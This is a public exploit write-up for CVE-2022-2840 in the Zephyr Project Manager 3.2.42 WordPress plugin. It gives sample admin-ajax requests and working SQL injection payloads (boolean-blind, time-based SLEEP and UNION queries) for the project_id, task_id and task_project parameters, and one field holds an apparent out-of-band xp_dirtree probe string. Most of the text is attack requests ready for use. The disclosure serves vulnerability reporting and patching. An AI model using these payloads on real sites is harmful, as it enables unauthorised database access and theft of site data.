# Exploit Title: Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi # Date: 14-08-2022 # Exploit Author: Rizacan Tufan # Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated # Software Link: https://wordpress.org/plugins/zephyr-project-manager/ # Vendor Homepage: https://zephyr-one.com/ # Version: 3.2.42 # Tested on: Windows, Linux # CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c) # Description Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks. It has been determined that the data coming from the input field in most places throughout the application are used in=20 the query without any sanitize and validation. The details of the discovery are given below. # Proof of Concept (PoC)=20 The details of the various SQL Injection on the application are given below. ## Endpoint of Get Project Data. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_projects Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 74 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=3Dzpm_view_project&project_id=3D1&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: project_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=3Dzpm_view_project&project_id=3D1 AND 4923=3D4923&zpm_nonce=3D22858bf3a7 Type: time-based blind Title: MySQL >=3D 5.0.12 OR time-based blind (query SLEEP) Payload: action=3Dzpm_view_project&project_id=3D1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=3D22858bf3a7 Type: UNION query Title: Generic UNION query (NULL) - 20 columns Payload: action=3Dzpm_view_project&project_id=3D-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=3D22858bf3a7 --- ## Endpoint of Get Task Data. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 51 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers task_id=3D1&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: task_id (POST) Type: time-based blind Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP) Payload: task_id=3D1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7 --- ## Endpoint of New Task. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 337 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers task_name=3Dtest&task_description=3Dtest&task_project=3D1&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Dtest&type=3Ddefault&recurrence%5Btype%5D=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: task_project (POST) Type: time-based blind Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP) Payload: task_name=3Dtest&task_description=3Dtest&task_project=3D1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Drrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=3Ddefault&recurrence[type]=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7 ---